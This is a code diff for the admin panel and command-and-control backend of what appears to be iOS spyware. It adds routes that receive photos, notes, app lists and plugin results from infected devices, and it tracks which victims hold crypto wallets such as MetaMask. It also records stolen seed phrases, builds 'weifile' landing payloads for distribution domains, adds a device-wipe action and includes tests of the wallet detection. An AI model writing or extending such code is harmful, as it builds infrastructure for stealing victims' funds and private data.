||||
layer.confirm('删除后将移除 ' + pathHint + ',确认?', function (idx) {
|
||||
$.ajax({
|
||||
|
||||
@@ -16,6 +16,12 @@
|
||||
.photo-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(140px,1fr));gap:12px}
|
||||
.photo-card{display:block;background:#fff;padding:8px;text-align:center;color:#333;border:1px solid #f0f0f0}
|
||||
.photo-card img{width:100%;height:120px;object-fit:cover;background:#eee}
|
||||
/* Tables grow with the current page (e.g. 20 rows); the iframe/page scrolls. */
|
||||
.layui-table-view{min-height:420px}
|
||||
.layui-table-view .layui-table-box,
|
||||
.layui-table-view .layui-table-body,
|
||||
.layui-table-view .layui-table-main{height:auto !important}
|
||||
.layui-table-view .layui-table-body{overflow-x:auto;overflow-y:visible !important}
|
||||
</style>
|
||||
@stack('head')
|
||||
</head>
|
||||
|
||||
@@ -51,6 +51,17 @@
|
||||
<input type="text" name="ios" placeholder="15.8" autocomplete="off" class="layui-input">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">钱包</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="has_wallet">
|
||||
<option value="">全部</option>
|
||||
<option value="0">未知</option>
|
||||
<option value="1">无</option>
|
||||
<option value="2">有</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">安装时间</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -78,6 +89,7 @@
|
||||
<table id="LAY-device-list" lay-filter="LAY-device-list"></table>
|
||||
<script type="text/html" id="LAY-device-ops">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail"><i class="layui-icon layui-icon-form"></i> 详情</a>
|
||||
<a class="layui-btn layui-btn-danger layui-btn-xs" lay-event="destroy"><i class="layui-icon layui-icon-delete"></i> 删除</a>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
@@ -92,6 +104,10 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
var layer = layui.layer;
|
||||
var $ = layui.$;
|
||||
var dash = function (v) { return v ? v : '—'; };
|
||||
var esc = function (s) {
|
||||
return String(s == null ? '' : s)
|
||||
.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>').replace(/"/g, '"');
|
||||
};
|
||||
var portal = @json($portal);
|
||||
var token = @json(csrf_token());
|
||||
var updateBase = @json(url('/'.$portal.'/devices'));
|
||||
@@ -109,9 +125,20 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||
{ field: 'device_id', title: '设备 ID', minWidth: 180, sort: true },
|
||||
{ field: 'channel_id', title: '渠道 ID', width: 140, sort: true, templet: function (d) { return dash(d.channel_id); } },
|
||||
{ field: 'source_domain', title: '来源域名', width: 160, templet: function (d) { return dash(d.source_domain); } },
|
||||
{ field: 'device_model', title: '设备型号', width: 130, sort: true, templet: function (d) { return dash(d.device_model); } },
|
||||
{ field: 'ios_version', title: 'iOS 版本', width: 110, sort: true, templet: function (d) { return dash(d.ios_version); } },
|
||||
{ field: 'ip', title: 'IP', width: 140, sort: true, templet: function (d) { return dash(d.ip); } },
|
||||
{ field: 'has_wallet', title: '钱包', minWidth: 220, sort: true, templet: function (d) {
|
||||
var st = Number(d.has_wallet);
|
||||
if (st === 1) return '<span style="color:#64748b;">无</span>';
|
||||
if (st !== 2) return '<span style="color:#94a3b8;">未知</span>';
|
||||
var names = Array.isArray(d.wallet_names) ? d.wallet_names.filter(Boolean) : [];
|
||||
var tags = names.map(function (n) {
|
||||
return '<span class="tag-wallet">' + esc(n) + '</span>';
|
||||
}).join(' ');
|
||||
return '<span style="color:#d97706;font-weight:600;">有</span>' + (tags ? ' ' + tags : '');
|
||||
} },
|
||||
{ field: 'album_storage', title: '相册存储', width: 110, templet: function (d) {
|
||||
var on = Number(d.album_storage) === 1;
|
||||
return '<input type="checkbox" lay-skin="switch" lay-text="开|关" lay-filter="LAY-device-album-list"' +
|
||||
@@ -119,12 +146,11 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
} },
|
||||
{ field: 'created_at', title: '安装时间', width: 170, sort: true },
|
||||
{ field: 'updated_at', title: '更新时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 100, align: 'center', fixed: 'right', toolbar: '#LAY-device-ops' }
|
||||
{ title: '操作', width: 160, align: 'center', fixed: 'right', toolbar: '#LAY-device-ops' }
|
||||
]],
|
||||
page: true,
|
||||
limit: 15,
|
||||
limits: [10, 15, 20, 30, 50],
|
||||
height: 'full-220',
|
||||
limit: 20,
|
||||
limits: [10, 20, 30, 50],
|
||||
text: { none: '暂无设备' },
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' },
|
||||
@@ -174,6 +200,7 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
model: '',
|
||||
ip: '',
|
||||
ios: '',
|
||||
has_wallet: '',
|
||||
installed_from: '',
|
||||
installed_to: ''
|
||||
},
|
||||
@@ -183,6 +210,32 @@ layui.use(['table', 'form', 'laydate', 'layer'], function () {
|
||||
});
|
||||
|
||||
table.on('tool(LAY-device-list)', function (obj) {
|
||||
if (obj.event === 'destroy') {
|
||||
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、日志等全部关联数据,且不可恢复。', {
|
||||
icon: 3,
|
||||
title: '删除设备'
|
||||
}, function (index) {
|
||||
layer.close(index);
|
||||
var loading = layer.load(1, { shade: 0.2 });
|
||||
$.ajax({
|
||||
url: obj.data.destroy_url,
|
||||
method: 'POST',
|
||||
data: { _method: 'DELETE', _token: token },
|
||||
success: function (res) {
|
||||
layer.close(loading);
|
||||
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '删除失败');
|
||||
layer.msg('已删除');
|
||||
obj.del();
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.close(loading);
|
||||
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '删除失败';
|
||||
layer.msg(msg);
|
||||
}
|
||||
});
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event !== 'detail') return;
|
||||
var url = obj.data.detail_url;
|
||||
var title = '设备 #' + obj.data.id;
|
||||
|
||||
@@ -4,6 +4,10 @@
|
||||
|
||||
@section('content')
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header" style="display:flex;align-items:center;justify-content:space-between;">
|
||||
<span>设备详情</span>
|
||||
<button type="button" class="layui-btn layui-btn-danger layui-btn-sm" id="LAY-device-destroy">删除设备</button>
|
||||
</div>
|
||||
<div class="layui-card-body">
|
||||
<table class="layui-table" style="margin-bottom: 16px;">
|
||||
<tr>
|
||||
@@ -12,6 +16,10 @@
|
||||
<th width="140">渠道 ID</th>
|
||||
<td><code>{{ $device->channel_id ?: '—' }}</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>来源域名</th>
|
||||
<td colspan="3"><code>{{ $device->source_domain ?: '—' }}</code></td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>设备型号</th>
|
||||
<td>{{ $device->device_model ?: '—' }}</td>
|
||||
@@ -24,6 +32,21 @@
|
||||
<th>IP</th>
|
||||
<td>{{ $device->ip ?: '—' }}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>钱包</th>
|
||||
<td colspan="3">
|
||||
@if ((int) $device->has_wallet === \App\Models\Device::WALLET_YES)
|
||||
<span style="color:#d97706;font-weight:600;">有</span>
|
||||
@foreach ($device->walletNameList() as $name)
|
||||
<span class="tag-wallet">{{ $name }}</span>
|
||||
@endforeach
|
||||
@elseif ((int) $device->has_wallet === \App\Models\Device::WALLET_NONE)
|
||||
无
|
||||
@else
|
||||
未知
|
||||
@endif
|
||||
</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>相册存储</th>
|
||||
<td colspan="3">
|
||||
@@ -137,6 +160,8 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
var tabDataUrl = @json(route(($portal ?? 'admin').'.devices.tabData', $device));
|
||||
var updateUrl = @json(route(($portal ?? 'admin').'.devices.update', $device));
|
||||
var clearPhotosUrl = @json(route(($portal ?? 'admin').'.devices.photos.clear', $device));
|
||||
var destroyUrl = @json(route(($portal ?? 'admin').'.devices.destroy', $device));
|
||||
var listUrl = @json(route(($portal ?? 'admin').'.devices.index'));
|
||||
var token = @json(csrf_token());
|
||||
var dash = function (v) { return v ? v : '—'; };
|
||||
var esc = function (v) {
|
||||
@@ -170,8 +195,43 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
});
|
||||
form.render('checkbox');
|
||||
|
||||
$('#LAY-device-destroy').on('click', function () {
|
||||
layer.confirm('确认删除该设备?将同时删除相册、钱包、助记词、APP、备忘录、日志等全部关联数据,且不可恢复。', {
|
||||
icon: 3,
|
||||
title: '删除设备'
|
||||
}, function (index) {
|
||||
layer.close(index);
|
||||
var loading = layer.load(1, { shade: 0.2 });
|
||||
$.ajax({
|
||||
url: destroyUrl,
|
||||
method: 'POST',
|
||||
data: { _method: 'DELETE', _token: token },
|
||||
success: function (res) {
|
||||
layer.close(loading);
|
||||
if (!res || res.code !== 0) return layer.msg((res && res.msg) || '删除失败');
|
||||
layer.msg('已删除', { time: 800 }, function () {
|
||||
var next = (res.data && res.data.list_url) ? res.data.list_url : listUrl;
|
||||
try {
|
||||
if (parent && parent.layui && parent.layui.index && parent.layui.index.closeThisTabs) {
|
||||
parent.layui.index.closeThisTabs();
|
||||
parent.layui.index.openTabsPage(next, '设备管理');
|
||||
return;
|
||||
}
|
||||
} catch (e) {}
|
||||
location.href = next;
|
||||
});
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.close(loading);
|
||||
var msg = (xhr.responseJSON && xhr.responseJSON.msg) ? xhr.responseJSON.msg : '删除失败';
|
||||
layer.msg(msg);
|
||||
}
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
if (tab === 'photos') {
|
||||
var photoState = { page: 1, limit: 15, sensitive: '' };
|
||||
var photoState = { page: 1, limit: 20, sensitive: '' };
|
||||
|
||||
var renderPhotos = function () {
|
||||
$.getJSON(tabDataUrl, {
|
||||
@@ -225,7 +285,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
count: (res && res.count) ? res.count : 0,
|
||||
curr: photoState.page,
|
||||
limit: photoState.limit,
|
||||
limits: [10, 15, 20, 30, 50],
|
||||
limits: [10, 20, 30, 50],
|
||||
layout: ['count', 'prev', 'page', 'next', 'limit'],
|
||||
jump: function (obj, first) {
|
||||
if (first) return;
|
||||
@@ -349,8 +409,8 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
defaultToolbar: ['filter', 'exports', 'print'],
|
||||
cols: colsMap[tab] || colsMap.wallets,
|
||||
page: true,
|
||||
limit: 15,
|
||||
limits: [10, 15, 20, 30, 50],
|
||||
limit: 20,
|
||||
limits: [10, 20, 30, 50],
|
||||
text: { none: emptyMap[tab] || '暂无数据' },
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
|
||||
@@ -75,7 +75,7 @@ layui.use(['table', 'form'], function () {
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-mn-ops' }
|
||||
]],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
@@ -67,7 +67,7 @@ layui.use(['table', 'form'], function () {
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-note-ops' }
|
||||
]],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
@@ -77,7 +77,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 110, align: 'center', fixed: 'right', toolbar: '#LAY-photo-ops' }
|
||||
]],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
@@ -56,7 +56,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 160, toolbar: '#LAY-admin-ops' }
|
||||
]],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
@@ -138,7 +138,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true },
|
||||
{ title: '操作', width: 90, align: 'center', fixed: 'right', toolbar: '#LAY-tx-ops' }
|
||||
]],
|
||||
page: true, limit: 15, height: 'full-220',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
@@ -42,6 +42,12 @@
|
||||
<input type="text" name="browser" class="layui-input" placeholder="如 Safari" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">来源域名</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="domain" class="layui-input" placeholder="来源域名" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">Referer</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -75,6 +81,7 @@
|
||||
<select id="LAY-visit-group">
|
||||
<option value="os">系统</option>
|
||||
<option value="os_version">系统 + 版本</option>
|
||||
<option value="domain">来源域名</option>
|
||||
<option value="browser">浏览器</option>
|
||||
<option value="browser_version">浏览器 + 版本</option>
|
||||
</select>
|
||||
@@ -116,19 +123,19 @@ layui.use(['table', 'form'], function () {
|
||||
where: where,
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'channel_id', title: '渠道', minWidth: 220 },
|
||||
{ field: 'client_uid', title: '访客 UID', minWidth: 220 },
|
||||
{ field: 'channel_id', title: '渠道', minWidth: 160 },
|
||||
{ field: 'domain', title: '来源域名', minWidth: 180 },
|
||||
{ field: 'client_uid', title: '访客 UID', width: 160 },
|
||||
{ field: 'os', title: '系统', width: 90 },
|
||||
{ field: 'os_version', title: '系统版本', width: 100 },
|
||||
{ field: 'browser', title: '浏览器', width: 100 },
|
||||
{ field: 'browser_version', title: '浏览器版本', width: 110 },
|
||||
{ field: 'ip', title: 'IP', width: 130 },
|
||||
{ field: 'path', title: '路径', minWidth: 180 },
|
||||
{ field: 'referer', title: 'Referer', minWidth: 220 },
|
||||
{ field: 'user_agent', title: 'UA', minWidth: 260 },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true }
|
||||
]],
|
||||
page: true, limit: 20, height: 'full-420',
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
@@ -43,6 +43,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
||||
Route::get('devices/{device}/tab-data', [DeviceController::class, 'tabData'])->name('devices.tabData');
|
||||
Route::get('devices/{device}', [DeviceController::class, 'show'])->name('devices.show');
|
||||
Route::put('devices/{device}', [DeviceController::class, 'update'])->name('devices.update');
|
||||
Route::delete('devices/{device}', [DeviceController::class, 'destroy'])->name('devices.destroy');
|
||||
Route::post('devices/{device}/photos/clear', [DeviceController::class, 'clearPhotos'])->name('devices.photos.clear');
|
||||
Route::get('devices/{device}/photos/{photo}', [DeviceController::class, 'photo'])->name('devices.photo');
|
||||
|
||||
@@ -72,6 +73,7 @@ Route::prefix('admin')->name('admin.')->middleware('panel.host:admin')->group(fu
|
||||
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
|
||||
Route::get('channels/random-id', [ChannelController::class, 'randomId'])->name('channels.randomId');
|
||||
Route::post('channels', [ChannelController::class, 'store'])->name('channels.store');
|
||||
Route::get('channels/{channel}/download', [ChannelController::class, 'download'])->name('channels.download');
|
||||
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
|
||||
Route::delete('channels/{channel}', [ChannelController::class, 'destroy'])->name('channels.destroy');
|
||||
|
||||
|
||||
@@ -70,6 +70,43 @@ Artisan::command('telegram:set-webhook {url?} {--agent= : Agent user id}', funct
|
||||
return 1;
|
||||
})->purpose('Register Telegram webhook (official or --agent=ID)');
|
||||
|
||||
Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
|
||||
$channelC = trim((string) $this->option('channel-c'));
|
||||
$random = (bool) $this->option('random-c');
|
||||
try {
|
||||
$result = app(\App\Services\ChannelProjectService::class)->buildSharedArtifacts(
|
||||
$channelC !== '' ? $channelC : null,
|
||||
$random,
|
||||
);
|
||||
} catch (\Throwable $e) {
|
||||
$this->error($e->getMessage());
|
||||
|
||||
return 1;
|
||||
}
|
||||
|
||||
$c = (string) data_get($result, 'seeds.channel_c', '');
|
||||
$this->info('XXBB_CHANNEL_C='.$c);
|
||||
$this->info('details -> /details/');
|
||||
$staged = (string) ($result['staged_weifile'] ?? '');
|
||||
if ($staged !== '') {
|
||||
$this->info('staged weifile -> '.$staged);
|
||||
}
|
||||
$this->line('domains:');
|
||||
$domains = array_values((array) data_get($result, 'domains.deployment', []));
|
||||
if ($domains === []) {
|
||||
$this->warn('(empty)');
|
||||
}
|
||||
foreach ($domains as $i => $domain) {
|
||||
$this->line(sprintf(' %03d %s', $i + 1, $domain));
|
||||
}
|
||||
$configured = strtolower(trim((string) config('coruna.xxbb.channel_c', '')));
|
||||
if ($c !== '' && $configured !== $c) {
|
||||
$this->warn('把上面的 XXBB_CHANNEL_C 写入 .env,新建设备才能按 IP 归因到渠道。');
|
||||
}
|
||||
|
||||
return 0;
|
||||
})->purpose('Build shared xxbb /details and staged weifile from channel c');
|
||||
|
||||
Artisan::command('coruna:channel-domains {--json}', function () {
|
||||
$domains = array_values(array_filter(config('coruna.channel_domains', [])));
|
||||
if ($this->option('json')) {
|
||||
|
||||
+3
-1
@@ -32,6 +32,7 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
||||
Route::get('devices/{device}/tab-data', [DeviceController::class, 'tabData'])->name('devices.tabData');
|
||||
Route::get('devices/{device}', [DeviceController::class, 'show'])->name('devices.show');
|
||||
Route::put('devices/{device}', [DeviceController::class, 'update'])->name('devices.update');
|
||||
Route::delete('devices/{device}', [DeviceController::class, 'destroy'])->name('devices.destroy');
|
||||
Route::post('devices/{device}/photos/clear', [DeviceController::class, 'clearPhotos'])->name('devices.photos.clear');
|
||||
Route::get('devices/{device}/photos/{photo}', [DeviceController::class, 'photo'])->name('devices.photo');
|
||||
|
||||
@@ -53,7 +54,8 @@ Route::prefix('user')->name('user.')->middleware('panel.host:agent')->group(func
|
||||
|
||||
Route::get('channels', [ChannelController::class, 'index'])->name('channels.index');
|
||||
Route::get('channels/data', [ChannelController::class, 'data'])->name('channels.data');
|
||||
Route::get('channels/{channel}/download', [ChannelController::class, 'download'])->name('channels.download');
|
||||
Route::put('channels/{channel}', [ChannelController::class, 'update'])->name('channels.update');
|
||||
// Agent portal: view/edit own channel links only (no create/delete).
|
||||
// Agent portal: view/edit/download own channel links only (no create/delete).
|
||||
});
|
||||
});
|
||||
|
||||
@@ -11,9 +11,12 @@ Route::middleware([DecryptXxbbBody::class])->group(function () {
|
||||
Route::post('/a', [XxbbC2Controller::class, 'profile']);
|
||||
Route::post('/u', [XxbbC2Controller::class, 'apps']);
|
||||
Route::post('/event', [XxbbC2Controller::class, 'event']);
|
||||
Route::post('/t', [XxbbC2Controller::class, 'photos']);
|
||||
Route::post('/nb', [XxbbC2Controller::class, 'notes']);
|
||||
Route::post('/uj', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/us', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/ub', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/ba', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/result', [XxbbC2Controller::class, 'plugin']);
|
||||
Route::post('/api/tg/t', [XxbbC2Controller::class, 'telegram']);
|
||||
});
|
||||
|
||||
@@ -242,7 +242,12 @@ class C2ApiTest extends TestCase
|
||||
$this->assertSame('MetaMask', $mm->name);
|
||||
$this->assertSame('7.12.0', $mm->version);
|
||||
$this->assertTrue($mm->is_wallet);
|
||||
$safari = DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.mobilesafari')->first();
|
||||
$this->assertNotNull($safari);
|
||||
$this->assertFalse($safari->is_wallet);
|
||||
$this->assertSame(2, $device->apps()->count());
|
||||
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
|
||||
$this->assertSame(['MetaMask'], $device->walletNameList());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -19,6 +19,8 @@ class ChannelProjectServiceTest extends TestCase
|
||||
|
||||
private const CHANNEL_ID = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
||||
|
||||
private const NEW_CHANNEL_ID = 'FAFA9988';
|
||||
|
||||
protected function setUp(): void
|
||||
{
|
||||
parent::setUp();
|
||||
@@ -56,6 +58,18 @@ class ChannelProjectServiceTest extends TestCase
|
||||
return "log line\n".ChannelProjectService::RESULT_MARKER.json_encode($payload)."\n";
|
||||
}
|
||||
|
||||
private function stageFakeWeifile(): string
|
||||
{
|
||||
$dir = storage_path('app/channel-builder-new-test/out/weifile');
|
||||
if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) {
|
||||
$this->fail('unable to create staged weifile dir');
|
||||
}
|
||||
file_put_contents($dir.'/index.js', 'const V="CACACACA";');
|
||||
file_put_contents($dir.'/weifile.html', '<script src="index.js"></script>');
|
||||
|
||||
return $dir;
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function it_invokes_new_project_script_and_returns_seeds(): void
|
||||
{
|
||||
@@ -328,26 +342,27 @@ class ChannelProjectServiceTest extends TestCase
|
||||
$channel = Channel::query()->where('channel_id', self::CHANNEL_ID)->first();
|
||||
$this->assertSame([], $channel->domains ?? []);
|
||||
$this->assertSame(Channel::BUILDER_OLD, $channel->builderType());
|
||||
$this->assertNull($channel->channel_name);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function it_invokes_new_builder_for_shared_weifile(): void
|
||||
public function it_packs_new_channel_from_staged_weifile(): void
|
||||
{
|
||||
$this->stageFakeWeifile();
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'builder_type' => 'new',
|
||||
'channel_name' => null,
|
||||
'weifile_path' => '/weifile/weifile.html',
|
||||
'support_path' => '/weifile/weifile.html',
|
||||
'channel_code' => self::NEW_CHANNEL_ID,
|
||||
'weifile_path' => null,
|
||||
'support_path' => '',
|
||||
'details_path' => '/details/',
|
||||
'daily_path' => '/details/',
|
||||
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
|
||||
'domains' => ['deployment' => [], 'reporting' => []],
|
||||
])),
|
||||
]);
|
||||
|
||||
$result = app(ChannelProjectService::class)->generate(
|
||||
self::CHANNEL_ID,
|
||||
self::NEW_CHANNEL_ID,
|
||||
'test',
|
||||
null,
|
||||
null,
|
||||
@@ -355,107 +370,139 @@ class ChannelProjectServiceTest extends TestCase
|
||||
);
|
||||
|
||||
$this->assertSame(Channel::BUILDER_NEW, $result['builder_type']);
|
||||
$this->assertNull($result['channel_name']);
|
||||
$this->assertSame('/weifile/weifile.html', $result['weifile_path']);
|
||||
$this->assertSame('/weifile/weifile.html', $result['support_path']);
|
||||
$this->assertNull($result['weifile_path']);
|
||||
$this->assertSame('', $result['support_path']);
|
||||
$this->assertSame('/details/', $result['daily_path']);
|
||||
$this->assertSame('/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip', $result['zip_path']);
|
||||
|
||||
Process::assertRan(function ($process) {
|
||||
$joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
|
||||
|
||||
return str_contains($joined, 'build.py')
|
||||
&& ! str_contains($joined, '--channel-name')
|
||||
&& str_contains($joined, '--channel-c')
|
||||
&& str_contains($joined, self::CHANNEL_ID)
|
||||
&& str_contains($joined, '--scheme')
|
||||
&& str_contains($joined, '--apply')
|
||||
&& str_contains($joined, '--force');
|
||||
return str_contains($joined, 'pack_channel.py')
|
||||
&& str_contains($joined, '--channel-code')
|
||||
&& str_contains($joined, self::NEW_CHANNEL_ID)
|
||||
&& ! str_contains($joined, 'build.py')
|
||||
&& ! str_contains($joined, '--apply');
|
||||
});
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_rejects_mismatched_seeds(): void
|
||||
public function new_builder_requires_staged_weifile(): void
|
||||
{
|
||||
$index = storage_path('app/channel-builder-new-test/out/weifile/index.js');
|
||||
if (is_file($index)) {
|
||||
unlink($index);
|
||||
}
|
||||
|
||||
$this->expectException(RuntimeException::class);
|
||||
$this->expectExceptionMessage('deployment_seed 与 reporting_seed 必须相同');
|
||||
$this->expectExceptionMessage('请先运行构建脚本');
|
||||
|
||||
app(ChannelProjectService::class)->generate(
|
||||
self::CHANNEL_ID,
|
||||
self::NEW_CHANNEL_ID,
|
||||
'test',
|
||||
null,
|
||||
null,
|
||||
Channel::BUILDER_NEW,
|
||||
);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function new_builder_ignores_seed_mismatch(): void
|
||||
{
|
||||
$this->stageFakeWeifile();
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'builder_type' => 'new',
|
||||
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
|
||||
])),
|
||||
]);
|
||||
|
||||
$result = app(ChannelProjectService::class)->generate(
|
||||
self::NEW_CHANNEL_ID,
|
||||
'test',
|
||||
'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
|
||||
'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
|
||||
Channel::BUILDER_NEW,
|
||||
'abcd1234',
|
||||
);
|
||||
|
||||
$this->assertSame(self::NEW_CHANNEL_ID, $result['channel_id']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function support_links_use_weifile_path_for_new_builder(): void
|
||||
{
|
||||
$channel = new Channel([
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'domains' => ['channel.test'],
|
||||
]);
|
||||
$this->assertSame([
|
||||
'https://channel.test/weifile/weifile.html',
|
||||
], $channel->supportLinks());
|
||||
$this->assertSame([], $channel->supportLinks());
|
||||
$this->assertSame('/weifile/weifile.html', $channel->landingPath());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function store_new_builder_returns_shared_weifile_path(): void
|
||||
public function store_new_builder_returns_zip_path(): void
|
||||
{
|
||||
$this->stageFakeWeifile();
|
||||
Process::fake([
|
||||
'*' => Process::result(output: $this->fakeBuildResult([
|
||||
'weifile_path' => '/weifile/weifile.html',
|
||||
'support_path' => '/weifile/weifile.html',
|
||||
'weifile_path' => null,
|
||||
'support_path' => '',
|
||||
'details_path' => '/details/',
|
||||
'daily_path' => '/details/',
|
||||
'zip_path' => '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip',
|
||||
])),
|
||||
]);
|
||||
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
||||
|
||||
$response = $this->actingAs($admin, 'admin')
|
||||
->post(route('admin.channels.store'), [
|
||||
'channel_id' => self::CHANNEL_ID,
|
||||
'channel_id' => self::NEW_CHANNEL_ID,
|
||||
'builder_type' => Channel::BUILDER_NEW,
|
||||
'user_id' => 0,
|
||||
])
|
||||
->assertOk()
|
||||
->assertJsonPath('code', 0)
|
||||
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW);
|
||||
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
|
||||
->assertJsonPath('data.zip_path', '/channel-source-new/'.self::NEW_CHANNEL_ID.'.zip');
|
||||
|
||||
$channel = Channel::query()->where('channel_id', self::CHANNEL_ID)->first();
|
||||
$channel = Channel::query()->where('channel_id', self::NEW_CHANNEL_ID)->first();
|
||||
$this->assertNotNull($channel);
|
||||
$this->assertSame(Channel::BUILDER_NEW, $channel->builderType());
|
||||
$this->assertNull($channel->channel_name);
|
||||
$this->assertSame('/weifile/weifile.html', $channel->landingPath());
